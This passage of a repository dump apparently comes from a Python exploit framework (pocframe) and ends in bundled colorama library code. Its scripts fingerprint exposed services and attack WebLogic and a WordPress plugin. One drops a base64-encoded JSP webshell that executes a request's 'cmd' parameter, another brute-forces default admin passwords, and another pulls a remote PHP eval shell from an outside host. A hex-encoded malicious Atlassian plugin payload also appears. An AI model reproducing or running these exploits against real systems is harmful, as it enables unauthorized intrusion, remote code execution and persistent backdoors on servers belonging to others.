5600d9e305fd19f511b9caa8d4a9ba2d8149f504b03041400000008005a7ff14e3ac5f9ef48030000fa05000017001c00636f6d2f63646c2f7368656c6c2f6578702e636c61737355540900033bd52e5da8d32e5d75780b0001040000000004000000008d54db76d34614dde3d81e451171e2244ddd0b1428e00041bdd094da14682040dae084385c02f4a2c8d3202a4b8a2ca7693fa38f7de9639e793197aed50fe897f417fad2748f708a936641bcb4ce191d9db3cf3e7b3cf3e73fcfff007016ae8971940d4c0ce0244e99388d490367b4b74d7c800fb5f9c8c4c738abcd2726a6f0e900cee13313155425ce4b7c6ea280b236170c5c3431884bfae5925e7d21312d7159207fde0bbce482405f79e2b640f672d8500285392f50b5767345c54bce8acf48ae115e5389c06279ee91b3ee6cd82d15affb2ab11f2649645fa7a9bf082caab5b66a25d5d7a6b5a23068a9aaee7aa09e38ee0f379c286d9652bb2231237155e29ac4758e2360d6c376ecaaab9ea663a88de88cee60e14d94c8de6d36586461165fb2ccc257981380851ba849cc5b58c04d0b8ba813d0c2126e59b88d5b84b6700777d9cbc232ee49dcb7f0005f0b8c686cdb7782557b66c35551e28581c0f8cb683d89bd6075baedf90d155bf806df0a08d3c27720a5154d69d80d9bb6dbf0edd643e5fb36090b1c7cb52802c7f625aec0f1fda92b30b49b3289bd0c2dc4a1ab5aaded79bdd09e0da276c24ce53405ac55952c38b1d354898ad9f4c5def7a25527fe1f1290eb8edf56f3dfef2a995f79a4dc64ef923c27737c3219dbabe2de0ed68bed20f19a1cce24bfff5ec6cabdc0dd3091b36a43b902275e43be2b050b0689ba4386f16de49dfa745367e2388cb753b3748df430cd0af4f3eb9dd84bb5ebc55860f3ee876a8ff43d619eb71ff58280e5597d42f24e14a980c893fbda83eeff92e846126eeffb68794fe50b91ee9b9ec0a5d871150ee30dde3dfa9781d0c78bf62dbebd4bcf3385dcc927108fb910789b369f06b57d274d61aa28b3b49fd19f4f1533cfd097c153646bc55c253b59cc7590ff15e79e424e766054722506fa2b79edcc8aec9b324af90e0696a78ccc6f289e7e068b3b6bfcd2c181cdadbf3671b492fb1d85e527182a653b182e166974e9087d07a395ec268c1a81c71e93c1106ab8c9cb0e5843429f49f94e330e98bc1b06b81ae478051ce16a02c3bc538bbc4d477011a3ac2db17a1c754ab0c6d9124ed626c24f9cf22011ae20bfc5e47e894312ef491c9638923e4725dee74355b65892dbf51dfa763bf6370e6997a55ec753a14ffc0b504b01021e031400000008007c7ef14e544c2527eb00000004020000140018000000000001000000ed810000000061746c61737369616e2d706c7567696e2e786d6c55540500039bd32e5d75780b000104000000000400000000504b01021e030a00000000001b7ff14e000000000000000000000000040018000000000000001000ed4139010000636f6d2f5554050003c6d42e5d75780b000104000000000400000000504b01021e030a00000000001b7ff14e000000000000000000000000080018000000000000001000ed4177010000636f6d2f63646c2f5554050003c6d42e5d75780b000104000000000400000000504b01021e030a0000000000d07df14e0000000000000000000000000e0018000000000000001000ed41b9010000636f6d2f63646c2f7368656c6c2f555405000357d22e5d75780b000104000000000400000000504b01021e031400000008008878f14ec2481cb07d0100008d030000160018000000000001000000ed8101020000636f6d2f63646c2f7368656c6c2f43646c2e6a61766155540500036fc82e5d75780b000104000000000400000000504b01021e0314000000080085b2f04ecafaf82fe500000004180000170018000000000000000000a481ce030000636f6d2f63646c2f7368656c6c2f2e44535f53746f726555540500031add2d5d75780b000104000000000400000000504b01021e03140000000800b178f14ed0054a4648030000fa050000170018000000000000000000a48104050000636f6d2f63646c2f7368656c6c2f43646c2e636c6173735554050003bdc82e5d75780b000104000000000400000000504b01021e0314000000080080b2f04e5e4c2ce89701000004180000110018000000000000000000a4819d080000636f6d2f63646c2f2e44535f53746f726555540500030fdd2d5d75780b000104000000000400000000504b01021e0314000000080080b2f04e7261dc5f94010000041800000d0018000000000000000000a4817f0a0000636f6d2f2e44535f53746f726555540500030fdd2d5d75780b000104000000000400000000504b01021e03140000000800b57df14ef98bc46d88010000c3030000160018000000000001000000a4815a0c0000636f6d2f63646c2f7368656c6c2f6578702e6a617661555405000326d22e5d75780b000104000000000400000000504b01021e031400000008005a7ff14e3ac5f9ef48030000fa050000170018000000000000000000a481320e0000636f6d2f63646c2f7368656c6c2f6578702e636c61737355540500033bd52e5d75780b000104000000000400000000504b0506000000000b000b00bf030000cb11000000000d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d6631356665383765393561372d2d0d0a" 178 | # data = binascii.unhexlify(s) 179 | # # print(data) 180 | # r = request.post(url=url_vuln, headers=headers, data=data, timeout=5, verify=False) 181 | # if r.status_code == 200 and "Installed" in r.text: 182 | # result.append(f"atlassian crowd: {host}:{port}-->{r.content}") 183 | # except request.exceptions.ConnectionError: # host没开/端口没开 184 | # pass 185 | # except: 186 | # pass 187 | # return result 188 | 189 | 190 | def couchdb(host, result, ports=[5984]): 191 | for port in ports: 192 | try: 193 | url = f"http://{host}:{port}" 194 | r = request.get(url, timeout=5, allow_redirects=False, verify=False) 195 | if "couchdb" in r.text: 196 | result.append(f"couchdb: {host}:{port}") 197 | except: 198 | pass 199 | 200 | 201 | def elasticsearch(host, result, ports=[9200]): 202 | for port in ports: 203 | try: 204 | r = request.get(f"http://{host}:{port}", timeout=5, allow_redirects=False, verify=False) 205 | if "elasticsearch" in r.text: 206 | result.append(f"elasticsearch: {host}:{port}") 207 | except: 208 | pass 209 | 210 | 211 | 212 | def hadoop(host, result, ports=[8088]): 213 | for port in ports: 214 | try: 215 | r = request.get(f"http://{host}:{port}/cluster", timeout=5, allow_redirects=False, verify=False) 216 | if "Hadoop" in r.text: 217 | result.append(f"hadoop: {host}:{port}") 218 | except: 219 | pass 220 | 221 | 222 | def jupyter(host, result, ports=[8888]): 223 | for port in ports: 224 | try: 225 | r = request.get(f"http://{host}:{port}", timeout=5, verify=False) 226 | if "clusters" in r.text: 227 | result.append(f"jupyter: {host}:{port}") 228 | except: 229 | pass 230 | 231 | 232 | 233 | def docker(host, result, ports=[2375]): 234 | # exp: https://github.com/Tycx2ry/docker_api_vul 235 | for port in ports: 236 | try: 237 | r = request.get(f"http://{host}:{port}/version", timeout=5, verify=False) 238 | if "ApiVersion" in r.text: 239 | result.append(f"docker: {host}:{port}") 240 | except: 241 | pass 242 | 243 | 244 | def ftp(host, result, ports=[21]): 245 | for port in ports: 246 | try: 247 | ftp = FTP() 248 | ftp.connect(host, port) 249 | ftp.login('anonymous', 'anonymous') 250 | result.append(f"ftp: {host}:{port}") 251 | ftp.quit() 252 | except: 253 | pass 254 | 255 | def poc(host, ports=[]): 256 | host = get_standard_url(host) 257 | hosts = url2ip(host) 258 | result = [] 259 | threads = [] 260 | for host in hosts: 261 | if ports: 262 | args = (host, result, ports) 263 | else: 264 | args = (host, result,) 265 | poc_list = ['redis', 'mongo', 'genkins', 'memcached', 'jboss', 'zookeeper', 'rsync', 'couchdb', \ 266 | 'elasticsearch', 'hadoop', 'jupyter', 'docker', 'ftp'] 267 | for p in poc_list: 268 | threads.append(threading.Thread(target=globals()[p], args=args)) 269 | 270 | for t in threads: 271 | t.start() 272 | for t in threads: 273 | t.join() 274 | return result 275 | 276 | 277 | 278 | 279 | 280 | -------------------------------------------------------------------------------- /scripts/weblogic_2019_48814.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | # CNVD-C-2019-48814 Weblogic wls9_async_response 反序列化RCE 9 | # https://saucer-man.com/information_security/129.html 10 | 11 | 12 | from urllib.parse import urlparse 13 | from lib.core.Request import request 14 | import time 15 | 16 | post_headers = { 17 | "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36", 18 | "Content-Type": "text/xml", 19 | } 20 | get_headers ={ 21 | "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36", 22 | } 23 | 24 | def linux_check_1(url, webshell_path): 25 | linux_payload_1 = r""" 26 | 27 | xx 28 | xx 29 | 30 | 31 | 32 | 33 | /bin/bash 34 | 35 | 36 | -c 37 | 38 | 39 | echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= |base64 -d > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell1.jsp 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | """ 48 | 49 | try: 50 | attack_url = url + '/_async/AsyncResponseService' 51 | request.post(url=attack_url, data=linux_payload_1, headers=post_headers, timeout=5, verify=False) 52 | jsp_path = url + '/_async/webshell1.jsp' 53 | time.sleep(1) 54 | r = request.get(url=jsp_path, headers=get_headers, timeout=5, verify=False) 55 | if r.status_code == 200 and r.text == 'weblogic_2019_48814': 56 | webshell_path.append("{}?pwd=123&cmd=whoami".format(jsp_path)) 57 | else: 58 | pass 59 | # print("第一种方式失败") 60 | except Exception as e: 61 | pass 62 | # print("第一种方式出错") 63 | # print(e) 64 | 65 | def linux_check_2(url, webshell_path): 66 | linux_payload_2 = r""" 67 | 68 | xx 69 | xx 70 | 71 | 72 | 73 | 74 | /bin/bash 75 | 76 | 77 | -c 78 | 79 | 80 | echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= |base64 -d > servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell2.jsp 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | """ 89 | 90 | try: 91 | attack_url = url + '/_async/AsyncResponseService' 92 | request.post(url=attack_url, data=linux_payload_2, headers=post_headers, timeout=5, verify=False) 93 | jsp_path = url + '/bea_wls_internal/webshell2.jsp' 94 | time.sleep(1) 95 | r = request.get(url=jsp_path, headers=get_headers, timeout=5, verify=False) 96 | if r.status_code == 200 and r.text == 'weblogic_2019_48814': 97 | webshell_path.append("{}?pwd=123&cmd=whoami".format(jsp_path)) 98 | else: 99 | pass 100 | # print("第二种方式失败") 101 | except Exception as e: 102 | pass 103 | # print("第二种方式出错") 104 | # print(e) 105 | 106 | def windows_check_1(url, webshell_path): 107 | windows_payload_1_1 = r""" 108 | 109 | xx 110 | xx 111 | 112 | 113 | 114 | 115 | cmd 116 | 117 | 118 | /c 119 | 120 | 121 | echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= > servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\webshell3.txt 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | """ 130 | windows_payload_1_2 = r""" 131 | 132 | xx 133 | xx 134 | 135 | 136 | 137 | 138 | cmd 139 | 140 | 141 | /c 142 | 143 | 144 | certutil -decode servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\webshell3.txt servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\webshell3.jsp 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | """ 153 | try: 154 | attack_url = url + '/_async/AsyncResponseService' 155 | request.post(url=attack_url, data=windows_payload_1_1, headers=post_headers, timeout=5, verify=False) 156 | time.sleep(1) 157 | request.post(url=attack_url, data=windows_payload_1_2, headers=post_headers, timeout=5, verify=False) 158 | time.sleep(1) 159 | jsp_path = url + '/_async/webshell3.jsp' 160 | r = request.get(url=jsp_path, headers=get_headers, timeout=5, verify=False) 161 | if r.status_code == 200 and r.text == 'weblogic_2019_48814': 162 | webshell_path.append("{}?pwd=123&cmd=whoami".format(jsp_path)) 163 | else: 164 | pass 165 | # print("第三种方式失败") 166 | except Exception as e: 167 | pass 168 | # print("第三种方式出错") 169 | # print(e) 170 | 171 | def windows_check_2(url, webshell_path): 172 | windows_payload_2_1 = r""" 173 | 174 | xx 175 | xx 176 | 177 | 178 | 179 | 180 | cmd 181 | 182 | 183 | /c 184 | 185 | 186 | echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= > servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell4.txt 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | """ 195 | windows_payload_2_2 = r""" 196 | 197 | xx 198 | xx 199 | 200 | 201 | 202 | 203 | cmd 204 | 205 | 206 | /c 207 | 208 | 209 | certutil -decode servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell4.txt servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell4.jsp 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | """ 218 | try: 219 | attack_url = url + '/_async/AsyncResponseService' 220 | request.post(url=attack_url, data=windows_payload_2_1, headers=post_headers, timeout=5, verify=False) 221 | time.sleep(1) 222 | request.post(url=attack_url, data=windows_payload_2_2, headers=post_headers, timeout=5, verify=False) 223 | time.sleep(1) 224 | jsp_path = url + '/bea_wls_internal/webshell4.jsp' 225 | r = request.get(url=jsp_path, headers=get_headers, timeout=5, verify=False) 226 | if r.status_code == 200 and r.text == 'weblogic_2019_48814': 227 | webshell_path.append("{}?pwd=123&cmd=whoami".format(jsp_path)) 228 | else: 229 | pass 230 | # print("第四种方式失败") 231 | except Exception as e: 232 | pass 233 | # print("第四种方式出错") 234 | # print(e) 235 | 236 | def poc(url): 237 | # 首先对url进行处理 238 | # url = "http://www.example.org:7001/default.html?ct=32&op=92&item=98" 239 | # --> http://www.example.org:7001 240 | if url[:4] != "http": 241 | url = "http://" + url 242 | o = urlparse(url) 243 | url = o.scheme + "://" + o.netloc 244 | 245 | 246 | # 首先判断attack_url是否可访问 247 | try: 248 | attack_url = url + '/_async/AsyncResponseService' 249 | r = request.get(url=attack_url, headers=get_headers, timeout=4, verify=False) 250 | if r.status_code != 200: 251 | return [] 252 | except: 253 | return [] 254 | 255 | # 因为不知道目标是linux还是windows,所以直接都检验一遍 256 | # 如果存在漏洞,则将shell路径保存在webshell_path中 257 | webshell_path = [] 258 | linux_check_1(url, webshell_path) 259 | linux_check_2(url, webshell_path) 260 | windows_check_1(url, webshell_path) 261 | windows_check_2(url, webshell_path) 262 | 263 | return webshell_path 264 | 265 | -------------------------------------------------------------------------------- /scripts/weblogic_ssrf.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | ''' 9 | name: weblogic SSRF漏洞(CVE-2014-4210) 10 | referer: http://blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cve-2014-4.html 11 | description: weblogic 版本10.0.2 -- 10.3.6中SearchPublicRegistries.jsp,参数operator可传入内网IP造成SSRF漏洞 12 | ''' 13 | import sys 14 | from lib.core.Request import request 15 | 16 | 17 | def poc(url): 18 | headers = { 19 | "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50" 20 | } 21 | payload = "/uddiexplorer/SearchPublicRegistries.jsp?operator=http://localhost/robots.txt&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search" 22 | vulnurl = url + payload 23 | try: 24 | req = request.get(vulnurl, headers=headers, timeout=10) 25 | if r"weblogic.uddi.client.structures.exception.XML_SoapException" in req.text and r"IO Exception on sendMessage" not in req.text: 26 | return True 27 | else: 28 | return False 29 | except: 30 | return False 31 | 32 | 33 | -------------------------------------------------------------------------------- /scripts/weblogic_weak_pass.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | """ 9 | name: weblogic 弱口令漏洞 10 | referer: unknown 11 | description: weblogic 后台弱口令 12 | """ 13 | import sys 14 | import json 15 | import warnings 16 | from lib.core.Request import request 17 | 18 | 19 | def poc(url): 20 | headers = { 21 | "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50", 22 | "Content-Type":"application/x-www-form-urlencoded" 23 | } 24 | payload = "/console/j_security_check" 25 | passwd = ["weblogic", "weblogic1", "weblogic12", "weblogic123"] 26 | vulnurl = url + payload 27 | for pwd in passwd: 28 | post_data = { 29 | "j_username":"weblogic", 30 | "j_password":pwd 31 | } 32 | try: 33 | req = request.post(vulnurl, data=post_data, headers=headers, timeout=10, verify=False, allow_redirects=False) 34 | if req.status_code == 302 and r"console" in req.text and r"LoginForm.jsp" not in req.text: 35 | return vulnurl + json.dumps(post_data, indent=4) 36 | else: 37 | return False 38 | except: 39 | return False 40 | 41 | -------------------------------------------------------------------------------- /scripts/weblogic_xmldecoder_exec.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | """ 9 | name: weblogic XMLdecoder反序列化漏洞(CVE-2017-10271) 10 | referer: https://www.anquanke.com/post/id/92003 11 | description: weblogic /wls-wsat/CoordinatorPortType接口存在命令执行。 12 | """ 13 | import sys 14 | from lib.core.Request import request 15 | 16 | def poc(url): 17 | headers = { 18 | "Content-Type":"text/xml;charset=UTF-8", 19 | "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50" 20 | } 21 | payload = "/wls-wsat/CoordinatorPortType" 22 | post_data = ''' 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | /bin/sh 31 | 32 | 33 | -c 34 | 35 | 36 | whoami 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | ''' 47 | vulnurl = url + payload 48 | try: 49 | req = request.post(vulnurl, data=post_data, headers=headers, timeout=10, verify=False) 50 | if req.status_code == 500 and r"java.lang.ProcessBuilder" in req.text: 51 | return vulnurl 52 | else: 53 | return False 54 | except: 55 | return False 56 | 57 | -------------------------------------------------------------------------------- /scripts/wp_social_warfare_rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | """ 9 | CVE: CVE-2019-9978 10 | name: wordpress plugin Social Warfare <= 3.5.2 - Unauthenticated Remote Code Execution (RCE) 11 | referer: https://wpvulndb.com/vulnerabilities/9259?fbclid=IwAR2xLSnanccqwZNqc2c7cIv447Lt80mHivtyNV5ZXGS0ZaScxIYcm1XxWXM 12 | vuln-analysis: https://mp.weixin.qq.com/s/jqdXGIG9SRKniI_2ZhKNJQ 13 | date:2019-05-11 14 | """ 15 | 16 | from lib.core.Request import request 17 | from plugin.random_ua import get_random_ua 18 | from urllib.parse import urlparse 19 | 20 | 21 | def poc(url): 22 | # url = "http://www.example.org:8080/default.html?ct=32&op=92&item=98" 23 | # --> http://www.example.org:8080 24 | if url[:4] != "http": 25 | url = "http://" + url 26 | o = urlparse(url) 27 | url = o.scheme + "://" + o.netloc 28 | 29 | # 自定义的shell地址,内容为
eval($_REQUEST['z']);
30 | shellpath = "http://saucer-man.com/aa.txt" 31 | # 执行的shell命令 32 | shell = "phpinfo();" 33 | 34 | vulnurl = url + "/wp-admin/admin-post.php?swp_debug=load_options&swp_url={shellpath}&z={shell}".format(shellpath=shellpath,shell=shell) 35 | try: 36 | headers= {"User-Agent":get_random_ua()} 37 | r = request.get(vulnurl, headers = headers, timeout=5, verify=False, allow_redirects=False) 38 | if r.status_code == 200 and "PHP Version" in r.text: 39 | return vulnurl 40 | else: 41 | return False 42 | except: 43 | return False -------------------------------------------------------------------------------- /thirdlib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r0ckysec/pocframe/ad5aaab5e04809039b82f8d67a9c68baf7341255/thirdlib/__init__.py -------------------------------------------------------------------------------- /thirdlib/colorama/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | from .initialise import init, deinit, reinit, colorama_text 3 | from .ansi import Fore, Back, Style, Cursor 4 | from .ansitowin32 import AnsiToWin32 5 | 6 | __version__ = '0.4.1' 7 | -------------------------------------------------------------------------------- /thirdlib/colorama/ansi.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | ''' 3 | This module generates ANSI character codes to printing colors to terminals. 4 | See: http://en.wikipedia.org/wiki/ANSI_escape_code 5 | ''' 6 | 7 | CSI = '\033[' 8 | OSC = '\033]' 9 | BEL = '\007' 10 | 11 | 12 | def code_to_chars(code): 13 | return CSI + str(code) + 'm' 14 | 15 | def set_title(title): 16 | return OSC + '2;' + title + BEL 17 | 18 | def clear_screen(mode=2): 19 | return CSI + str(mode) + 'J' 20 | 21 | def clear_line(mode=2): 22 | return CSI + str(mode) + 'K' 23 | 24 | 25 | class AnsiCodes(object): 26 | def __init__(self): 27 | # the subclasses declare class attributes which are numbers. 28 | # Upon instantiation we define instance attributes, which are the same 29 | # as the class attributes but wrapped with the ANSI escape sequence 30 | for name in dir(self): 31 | if not name.startswith('_'): 32 | value = getattr(self, name) 33 | setattr(self, name, code_to_chars(value)) 34 | 35 | 36 | class AnsiCursor(object): 37 | def UP(self, n=1): 38 | return CSI + str(n) + 'A' 39 | def DOWN(self, n=1): 40 | return CSI + str(n) + 'B' 41 | def FORWARD(self, n=1): 42 | return CSI + str(n) + 'C' 43 | def BACK(self, n=1): 44 | return CSI + str(n) + 'D' 45 | def POS(self, x=1, y=1): 46 | return CSI + str(y) + ';' + str(x) + 'H' 47 | 48 | 49 | class AnsiFore(AnsiCodes): 50 | BLACK = 30 51 | RED = 31 52 | GREEN = 32 53 | YELLOW = 33 54 | BLUE = 34 55 | MAGENTA = 35 56 | CYAN = 36 57 | WHITE = 37 58 | RESET = 39 59 | 60 | # These are fairly well supported, but not part of the standard. 61 | LIGHTBLACK_EX = 90 62 | LIGHTRED_EX = 91 63 | LIGHTGREEN_EX = 92 64 | LIGHTYELLOW_EX = 93 65 | LIGHTBLUE_EX = 94 66 | LIGHTMAGENTA_EX = 95 67 | LIGHTCYAN_EX = 96 68 | LIGHTWHITE_EX = 97 69 | 70 | 71 | class AnsiBack(AnsiCodes): 72 | BLACK = 40 73 | RED = 41 74 | GREEN = 42 75 | YELLOW = 43 76 | BLUE = 44 77 | MAGENTA = 45 78 | CYAN = 46 79 | WHITE = 47 80 | RESET = 49 81 | 82 | # These are fairly well supported, but not part of the standard. 83 | LIGHTBLACK_EX = 100 84 | LIGHTRED_EX = 101 85 | LIGHTGREEN_EX = 102 86 | LIGHTYELLOW_EX = 103 87 | LIGHTBLUE_EX = 104 88 | LIGHTMAGENTA_EX = 105 89 | LIGHTCYAN_EX = 106 90 | LIGHTWHITE_EX = 107 91 | 92 | 93 | class AnsiStyle(AnsiCodes): 94 | BRIGHT = 1 95 | DIM = 2 96 | NORMAL = 22 97 | RESET_ALL = 0 98 | 99 | Fore = AnsiFore() 100 | Back = AnsiBack() 101 | Style = AnsiStyle() 102 | Cursor = AnsiCursor() 103 | -------------------------------------------------------------------------------- /thirdlib/colorama/ansitowin32.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | import re 3 | import sys 4 | import os 5 | 6 | from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style 7 | from .winterm import WinTerm, WinColor, WinStyle 8 | from .win32 import windll, winapi_test 9 | 10 | 11 | winterm = None 12 | if windll is not None: 13 | winterm = WinTerm() 14 | 15 | 16 | class StreamWrapper(object): 17 | ''' 18 | Wraps a stream (such as stdout), acting as a transparent proxy for all 19 | attribute access apart from method 'write()', which is delegated to our 20 | Converter instance. 21 | ''' 22 | def __init__(self, wrapped, converter): 23 | # double-underscore everything to prevent clashes with names of 24 | # attributes on the wrapped stream object. 25 | self.__wrapped = wrapped 26 | self.__convertor = converter 27 | 28 | def __getattr__(self, name): 29 | return getattr(self.__wrapped, name) 30 | 31 | def __enter__(self, *args, **kwargs): 32 | # special method lookup bypasses __getattr__/__getattribute__, see 33 | # https://stackoverflow.com/questions/12632894/why-doesnt-getattr-work-with-exit 34 | # thus, contextlib magic methods are not proxied via __getattr__ 35 | return self.__wrapped.__enter__(*args, **kwargs) 36 | 37 | def __exit__(self, *args, **kwargs): 38 | return self.__wrapped.__exit__(*args, **kwargs) 39 | 40 | def write(self, text): 41 | self.__convertor.write(text) 42 | 43 | def isatty(self): 44 | stream = self.__wrapped 45 | if 'PYCHARM_HOSTED' in os.environ: 46 | if stream is not None and (stream is sys.__stdout__ or stream is sys.__stderr__): 47 | return True 48 | try: 49 | stream_isatty = stream.isatty 50 | except AttributeError: 51 | return False 52 | else: 53 | return stream_isatty() 54 | 55 | @property 56 | def closed(self): 57 | stream = self.__wrapped 58 | try: 59 | return stream.closed 60 | except AttributeError: 61 | return True 62 | 63 | 64 | class AnsiToWin32(object): 65 | ''' 66 | Implements a 'write()' method which, on Windows, will strip ANSI character 67 | sequences from the text, and if outputting to a tty, will convert them into 68 | win32 function calls. 69 | ''' 70 | ANSI_CSI_RE = re.compile('\001?\033\\[((?:\\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer 71 | ANSI_OSC_RE = re.compile('\001?\033\\]((?:.|;)*?)(\x07)\002?') # Operating System Command 72 | 73 | def __init__(self, wrapped, convert=None, strip=None, autoreset=False): 74 | # The wrapped stream (normally sys.stdout or sys.stderr) 75 | self.wrapped = wrapped 76 | 77 | # should we reset colors to defaults after every .write() 78 | self.autoreset = autoreset 79 | 80 | # create the proxy 